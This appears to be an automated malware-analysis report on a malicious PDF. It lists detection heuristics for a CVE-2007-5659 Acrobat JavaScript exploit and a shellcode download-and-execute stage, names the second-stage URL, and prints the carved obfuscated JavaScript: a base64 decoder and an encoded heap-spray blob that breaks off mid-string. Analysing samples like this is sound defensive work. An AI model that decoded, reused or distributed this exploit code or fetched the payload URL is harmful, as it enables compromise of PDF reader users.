MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1204.002 Malicious File
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The extracted artifact 'javascript_obj0009_000.js' is a large, obfuscated JavaScript file, suggesting it is designed to perform malicious actions such as downloading and executing a second-stage payload. The presence of 'String.fromCharCode' further supports the obfuscation technique used within the script.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 8
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
JavaScript action low 3 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { -
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://tthhllkk.info//getexe.php?spl=pdf_exp Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0009_000.js |
pdf-javascript-stream | PDF /JS object 9 at offset 0xD6 | 21209 bytes |
SHA-256: 6c22ba8bb39bb02950db07c45931a947ae2ef09900e98553e47cc0fa5f375fa3 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = keyXXXStr.indexOf(input.charAt(i++));
enc2 = keyXXXStr.indexOf(input.charAt(i++));
enc3 = keyXXXStr.indexOf(input.charAt(i++));
enc4 = keyXXXStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
} while (i < input.length);
return output;
}
var aasd = decode64("CiB2YXIgSWRwV2ZqaVZVUjQgPSBuZXcgQXJyYXkoKTsKIHZhciB3a2dPejVEN3lYSDsKIHZhciBsYXZlID0gZXZhbDsKICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNzElNzYlNzklNzQlNWElNDklNzglNzYlNDMlNTIlMzAlMjglNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMmMlMjAlNTQlNjMlNjElNTclNjQlNDUlNTQlNGUlNDglNTMlMzQlMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNzclNjglNjklNmMlNjUlMjglNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlMjAlM2MlMjAlNTQlNjMlNjElNTclNjQlNDUlNTQlNGUlNDglNTMlMzQlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMjAlMmIlM2QlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMjAlM2QlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMmUlNzMlNzUlNjIlNzMlNzQlNzIlNjklNmUlNjclMjglMzAlMmMlMjAlNTQlNjMlNjElNTclNjQlNDUlNTQlNGUlNDglNTMlMzQlMjAlMmYlMjAlMzIlMjklM2IlMjAlMjAlMjAlMjAlNzIlNjUlNzQlNzUlNzIlNmUlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElM2IlMjAlMjAlN2QlMjAiKSk7ICBsYXZlKHVuZXNjYXBlKCIlMjAlMjAlMjAlNjYlNzUlNmUlNjMlNzQlNjklNmYlNmUlMjAlNjIlNmQlMzklNzYlNDUlMzclNzUlNzglNmElNTIlNTklMjglNzglMzAlNmQlNjYlMzAlNGUlNzAlNTElNDMlNDMlMzUlMjklMjAlMjAlN2IlMjAlMjAlMjAlMjAlNjklNjYlMjglNzglMzAlNmQlNjYlMzAlNGUlNzAlNTElNDMlNDMlMzUlMjAlM2QlM2QlMjAlMzAlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNjklMzglNGUlNDYlMzQlNzYlNGElMzYlNDUlNGUlMzglMjAlM2QlMjAlMzAlNzglMzAlNjMlMzAlNjMlMzAlNjMlMzAlNjMlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzUlNzMlMzclNmUlNzglNGElMzIlNjYlNzAlNDglNjglMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNzglMzAlNmQlNjYlMzAlNGUlNzAlNTElNDMlNDMlMzUlMjAlM2QlM2QlMjAlMzElMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNjklMzglNGUlNDYlMzQlNzYlNGElMzYlNDUlNGUlMzglMjAlM2QlMjAlMzAlNzglMzMlMzAlMzMlMzAlMzMlMzAlMzMlMzAlM2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzUlNzMlMzclNmUlNzglNGElMzIlNjYlNzAlNDglNjglMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNjUlNmMlNzMlNjUlMjAlNjklNjYlMjglNzglMzAlNmQlNjYlMzAlNGUlNzAlNTElNDMlNDMlMzUlMjAlM2QlM2QlMjAlMzIlMjklMjAlMjAlMjAlMjAlN2IlMjAlMjAlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzUlNzMlMzclNmUlNzglNGElMzIlNjYlNzAlNDglNjglMjAlM2QlMjAlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzglNDIlMzYlMzQlMjUlNzUlMzMlMzAlMzQlMzAlMjUlNzUlMzAlNDMlMzclMzglMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDIlMzAlNDMlMjUlNzUlMzElNDMlMzclMzAlMjUlNzUlMzglNDIlNDElNDQlMjUlNzUlMzAlMzglMzUlMzglMjUlNzUlMzAlMzklNDUlNDIlMjUlNzUlMzQlMzAlMzglNDIlMjUlNzUlMzglNDQlMzMlMzQlMjUlNzUlMzclNDMlMzQlMzAlMjUlNzUlMzUlMzglMzglNDIlMjUlNzUlMzYlNDElMzMlNDMlMjUlNzUlMzUlNDElMzQlMzQlMjUlNzUlNDUlMzIlNDQlMzElMjUlNzUlNDUlMzIlMzIlNDIlMjUlNzUlNDUlNDMlMzglNDIlMjUlNzUlMzQlNDYlNDUlNDIlMjUlNzUlMzUlMzIlMzUlNDElMjUlNzUlNDUlNDElMzglMzMlMjUlNzUlMzglMzklMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzclMzUlMzYlMjUlNzUlMzclMzMlMzglNDIlMjUlNzUlMzglNDIlMzMlNDMlMjUlNzUlMzMlMzMlMzclMzQlMjUlNzUlMzAlMzMlMzclMzglMjUlNzUlMzUlMzYlNDYlMzMlMjUlNzUlMzclMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzAlMjUlNzUlMzMlMzMlNDYlMzMlMjUlNzUlMzQlMzklNDMlMzklMjUlNzUlMzQlMzElMzUlMzAlMjUlNzUlMzMlMzMlNDElNDQlMjUlNzUlMzMlMzYlNDYlNDYlMjUlNzUlNDIlNDUlMzAlNDYlMjUlNzUlMzAlMzMlMzElMzQlMjUlNzUlNDYlMzIlMzMlMzglMjUlNzUlMzAlMzglMzclMzQlMjUlNzUlNDMlNDYlNDMlMzElMjUlNzUlMzAlMzMlMzAlNDQlMjUlNzUlMzQlMzAlNDYlNDElMjUlNzUlNDUlNDYlNDUlNDIlMjUlNzUlMzMlNDIlMzUlMzglMjUlNzUlMzclMzUlNDYlMzglMjUlNzUlMzUlNDUlNDUlMzUlMjUlNzUlMzQlMzYlMzglNDIlMjUlNzUlMzAlMzMlMzIlMzQlMjUlNzUlMzYlMzYlNDMlMzMlMjUlNzUlMzAlNDMlMzglNDIlMjUlNzUlMzglNDIlMzQlMzglMjUlNzUlMzElNDMlMzUlMzYlMjUlNzUlNDQlMzMlMzAlMzMlMjUlNzUlMzAlMzQlMzglNDIlMjUlNzUlMzAlMzMlMzglNDElMjUlNzUlMzUlNDYlNDMlMzMlMjUlNzUlMzUlMzAlMzUlNDUlMjUlNzUlMzglNDQlNDMlMzMlMjUlNzUlMzAlMzglMzclNDQlMjUlNzUlMzUlMzIlMzUlMzclMjUlNzUlMzMlMzMlNDIlMzglMjUlNzUlMzglNDElNDMlNDElMjUlNzUlNDUlMzglMzUlNDIlMjUlNzUlNDYlNDYlNDElMzIlMjUlNzUlNDYlNDYlNDYlNDYlMjUlNzUlNDMlMzAlMzMlMzIlMjUlNzUlNDYlMzclMzglNDIlMjUlNzUlNDElNDUlNDYlMzIlMjUlNzUlNDIlMzglMzQlNDYlMjUlNzUlMzIlNDUlMzYlMzUlMjUlNzUlMzclMzglMzYlMzUlMjUlNzUlMzYlMzYlNDElNDIlMjUlNzUlMzYlMzYlMzklMzglMjUlNzUlNDIlMzAlNDElNDIlMjUlNzUlMzglNDElMzYlNDMlMjUlNzUlMzklMzglNDUlMzAlMjUlNzUlMzYlMzglMzUlMzAlMjUlNzUlMzYlNDUlMzYlNDYlMjUlNzUlMzYlMzQlMzIlNDUlMjUlNzUlMzclMzUlMzYlMzglMjUlNzUlMzYlNDMlMzclMzIlMjUlNzUlMzUlMzQlMzYlNDQlMjUlNzUlMzglNDUlNDIlMzglMjUlNzUlMzAlNDUlMzQlNDUlMjUlNzUlNDYlNDYlNDUlNDMlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzUlMzAlMzklMzMlMjUlNzUlNDMlMzAlMzMlMzMlMjUlNzUlMzUlMzAlMzUlMzAlMjUlNzUlMzglNDIlMzUlMzYlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlNDMlMzIlMzglMzMlMjUlNzUlMzglMzMlMzclNDYlMjUlNzUlMzMlMzElNDMlMzIlMjUlNzUlMzUlMzAlMzUlMzIlMjUlNzUlMzMlMzYlNDIlMzglMjUlNzUlMzIlNDYlMzElNDElMjUlNzUlNDYlNDYlMzclMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzMlMzMlMzUlNDIlMjUlNzUlMzUlMzclNDYlNDYlMjUlNzUlNDIlMzglMzUlMzYlMjUlNzUlNDYlNDUlMzklMzglMjUlNzUlMzAlNDUlMzglNDElMjUlNzUlMzUlMzUlNDYlNDYlMjUlNzUlMzUlMzclMzAlMzQlMjUlNzUlNDUlNDYlNDIlMzglMjUlNzUlNDUlMzAlNDMlNDUlMjUlNzUlNDYlNDYlMzYlMzAlMjUlNzUlMzAlMzQlMzUlMzUlMjUlNzUlMzclMzQlMzYlMzglMjUlNzUlMzclMzAlMzclMzQlMjUlNzUlMzIlNDYlMzMlNDElMjUlNzUlMzclMzQlMzIlNDYlMjUlNzUlMzYlMzglMzclMzQlMjUlNzUlMzYlNDMlMzYlMzglMjUlNzUlMzYlNDIlMzYlNDMlMjUlNzUlMzIlNDUlMzYlNDIlMjUlNzUlMzYlNDUlMzYlMzklMjUlNzUlMzYlNDYlMzYlMzYlMjUlNzUlMzIlNDYlMzIlNDYlMjUlNzUlMzYlMzUlMzYlMzclMjUlNzUlMzYlMzUlMzclMzQlMjUlNzUlMzYlMzUlMzclMzglMjUlNzUlMzclMzAlMzIlNDUlMjUlNzUlMzclMzAlMzYlMzglMjUlNzUlMzclMzMlMzMlNDYlMjUlNzUlMzYlNDMlMzclMzAlMjUlNzUlMzclMzAlMzMlNDQlMjUlNzUlMzYlMzYlMzYlMzQlMjUlNzUlMzYlMzUlMzUlNDYlMjUlNzUlMzclMzAlMzclMzglMjIlMjklM2IlMjAlMjAlMjAlMjAlN2QlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzAlNTElNTglMzIlMzclNGQlNGYlNDYlNzklNTAlNWElMjAlM2QlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzIlNTMlNmUlNTklMzQlNTklNTQlNzQlNjMlNDElNTMlMjAlM2QlMjAlNzUlNzMlMzclNmUlNzglNGElMzIlNjYlNzAlNDglNjglMmUlNmMlNjUlNmUlNjclNzQlNjglMjAlMmElMjAlMzIlM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTQlNjMlNjElNTclNjQlNDUlNTQlNGUlNDglNTMlMzQlMjAlM2QlMjAlNzAlNTElNTglMzIlMzclNGQlNGYlNDYlNzklNTAlNWElMjAlMmQlMjAlMjglNzIlNTMlNmUlNTklMzQlNTklNTQlNzQlNjMlNDElNTMlMjAlMmIlMjAlMzAlNzglMzMlMzglMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMjAlM2QlMjAlNzUlNmUlNjUlNzMlNjMlNjElNzAlNjUlMjglMjIlMjUlNzUlMzklMzAlMzklMzAlMjUlNzUlMzklMzAlMzklMzAlMjIlMjklM2IlMjAlMjAlMjAlMjAlNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMjAlM2QlMjAlNzElNzYlNzklNzQlNWElNDklNzglNzYlNDMlNTIlMzAlMjglNzIlMzAlNzglNjQlMzclN2ElMzAlNDElNDglNjglNDElMmMlMjAlNTQlNjMlNjElNTclNjQlNDUlNTQlNGUlNDglNTMlMzQlMjklM2IlMjAlMjAlMjAlMjAlNzYlNjElNzIlMjAlNTklNzAlMzclNzAlNmElNTQlNmUlNDclN2ElNTMlNTglMjAlM2QlMjAlMjglNjklMzglNGUlNDYlMzQlNzYlNGElMzYlNDUlNGUlMzglMjAlMmQlMjAlMzAlNzglMzQlMzAlMzAlMzAlMzAlMzAlMjklMjAlMmYlMjAlNzAlNTElNTglMzIlMzclNGQlNGYlNDYlNzklNTAlNWElM2IlMjAlMjAlMjAlMjAlNjYlNmYlNzIlMjglNzYlNjElNzIlMjAlNDglNDklNjYlNmQlNGQlNDIlNDQlNjYlNmIlNDIlNmUlMjAlM2QlMjAlMzAlM2IlMjAlNDglNDklNjYlNmQlNGQlNDIlNDQlNjYlNmIlNDIlNmUlMjAlM2MlMjAlNTklNzAlMzclNzAlNmElNTQlNmUlNDclN2ElNTMlNTglM2IlMjAlNDglNDklNjYlNmQlNGQlNDIlNDQ